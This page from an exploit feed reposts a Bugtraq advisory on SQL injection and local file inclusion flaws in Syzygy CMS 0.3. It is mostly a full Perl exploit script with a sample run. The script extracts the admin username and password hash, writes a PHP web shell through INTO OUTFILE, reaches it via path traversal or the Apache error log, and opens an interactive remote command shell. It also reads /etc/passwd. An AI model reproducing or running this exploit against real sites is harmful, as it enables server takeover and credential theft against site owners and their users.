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Feeds -
Exploits
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Written by Osirys
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Wednesday, 25 March 2009 22:40 |
Syzygy CMS SQL Injection and Local File Include Vulnerabilities
-\\Bugtraq ID:
34210
-\\Class:
Input Validation Error
-\\CVE:
-\\Remote:
Yes
-\\Local:
No
-\\Published:
Mar 23 2009 12:00AM
-\\Updated:
Mar 25 2009 04:26PM
-\\Credit:
Osirys
-\\Vulnerable:
Syzygy CMS Syzygy CMS 0.3
-\\Discussion
Syzygy CMS is prone to an SQL-injection vulnerability and a local file-include vulnerability
because it fails to sufficiently sanitize user-supplied data.
Exploiting the SQL-injection issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
The attacker can exploit the local file-include issue to execute arbitrary local script code
and obtain sensitive information that may aid in further attacks.
Syzygy CMS 0.3 is vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s):
Attackers can use a browser to exploit these issues.
The following exploit code is available.
===============================================================
34210.pl
^^^^^^^^^
#!/usr/bin/perl
# Web App : Syzygy CMS 0.3
# Link : http://sourceforge.net/project/downloading.php?group_id=103298&use_mirror=heanet&filename
# =syzygycms-0.3.tar.gz&a=89932245
# Remote Command Execution Exploit :
# Case 1: If LFI works, exploitation via Shell Injection + LFI
# Case 2: Unless, exploitation via SQL Command Injection
# by Giovanni Buzzin, Osirys
# osirys[at]autistici[dot]org
# osirys.org
# Greets: Drosophila
# ----------------------------------------------------------------------------
# Exploit Simulation // (Case 1)
# ----------------------------------------------------------------------------
# osirys[~]>$ perl sploit.txt http://localhost/syzygy/
# ---------------------------------
# Syzygy CMS 0.3 RCE sploit
# by Osirys
# ---------------------------------
# [*] Getting admin login details ..
# [$] User: admin
# [$] Pass: 5f4dcc3b5aa765d61d8327deb882cf99
# [*] Testing LFI vulnerability
# [*] LFI works, exploiting it via SQL-LFI
# [++] Exploiting via SQL-LFI !
# [*] Creating remote Shell via SQL Injection ..
# [*] Spawning remote Shell via LFI ..
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/syzygy
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ----------------------------------------------------------------------------
use IO::Socket;
use LWP::UserAgent;
my $host = $ARGV[0];
my $rand = int(rand 50);
my $lfi = "/index.php?page=../../../../../../../../../";
my $code = "<?php echo \"0xExec\";system(\$_GET[cmd]);echo \"ExeCx0\" ?>";
my $file = "/tmp/sh_spawn_ownzzzzz".$rand.".txt";
my @error_logs = qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);
($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
print "[*] Getting admin login details ..\n";
my $url = $host."/index.php?page=poll.php&poll=-1 union select 1,concat(0x64657461696C73,username,
0x3a,password,0x64657461696C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users";
my $re = get_req($url);
if ($re =~ /details(.+):(.+)details/) {
my($user,$pass) = ($1,$2);
print "[\$] User: $user\n";
print "[\$] Pass: $pass\n";
}
else {
print "[-] Can't extract admin details\n\n";
}
print "\n[*] Testing LFI vulnerability\n";
my $re = get_req($host.$lfi."etc/passwd%00");
if ($re !~ /root:x/) {
print "[-] LFI seems not working, exploiting it via SQL Command Injection !\n";
&exploit_2;
}
else {
print "[*] LFI works, exploiting it via SQL-LFI\n";
&exploit_1;
}
sub exploit_1 {
print "\n[++] Exploiting via SQL-LFI !\n[*] Creating remote Shell via SQL Injection ..\n";
my $attack = $host."/index.php?page=poll.php&poll=-1 union select 1,'".$code."',
0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile '".$file."'";
get_req($attack);
print "[*] Spawning remote Shell via LFI ..\n\n";
$way = 1;
&exec_cmd;
}
sub exploit_2 {
print "\n[++] Exploiting via SQL Command Injection !\n[*] Generating error through GET request
..\n";
get_req($host."/osirys_log_test".$rand);
print "[*] Cheeking Apache Error Log path ..\n";
while (($log = <@error_logs>)&&($gotcha != 1)) {
$tmp_path = $host."/index.php?page=poll.php&poll=-1 union select 1,load_file('".$log."'),
0,0,0,0,0,0,0,0,0,0,0,0,0,0";
$re = get_req($tmp_path);
if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {
$site_path = $1."/";
$gotcha = 1;
print "[*] Error Log path found -> $log\n";
print "[*] Website path found -> $site_path\n";
}
}
$gotcha == 1 || die "[-] Couldn't file error_log !\n";
my $attack = $host."/index.php?page=poll.php&poll=-1 union select 1,'".$code."',
0,0,0,0,0,0,0,0,0,0,0,0,0,0 into outfile '".$site_path."/files/1337.php'";
get_req($attack);
my $test = get_req($host."/files/1337.php");
if ($test =~ /0xExec/) {
print "[*] Shell succesfully injected !\n";
print "[&] Hi my master, do your job now [!]\n\n";
$exec_path = $host."/shell.php";
$way = 2;
&exec_cmd;
}
else {
print "[-] Shell not found \n[-] Exploit failed\n\n";
exit(0);
}
}
sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
if ($way == 1) {
$exec_url = $host.$lfi.$file."%00&cmd=".$cmd;
}
elsif ($way == 2) {
$exec_url = $host."/files/1337.php?cmd=".$cmd;
}
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ /0xExec(.+)ExeCx0/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return($response->content);
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.+)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.+)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return($full_det);
}
sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}
sub banner {
print "\n".
" --------------------------------- \n".
" Syzygy CMS 0.3 RCE sploit \n".
" by Osirys \n".
" --------------------------------- \n\n";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://www.example.com/cms_path\n\n";
exit(0);
}
-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if
you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s)
--Syzygy CMS SourceForge Page
http://sourceforge.net/project/showfiles.php?group_id=10329 (Ian Huston and Barry Wardell )
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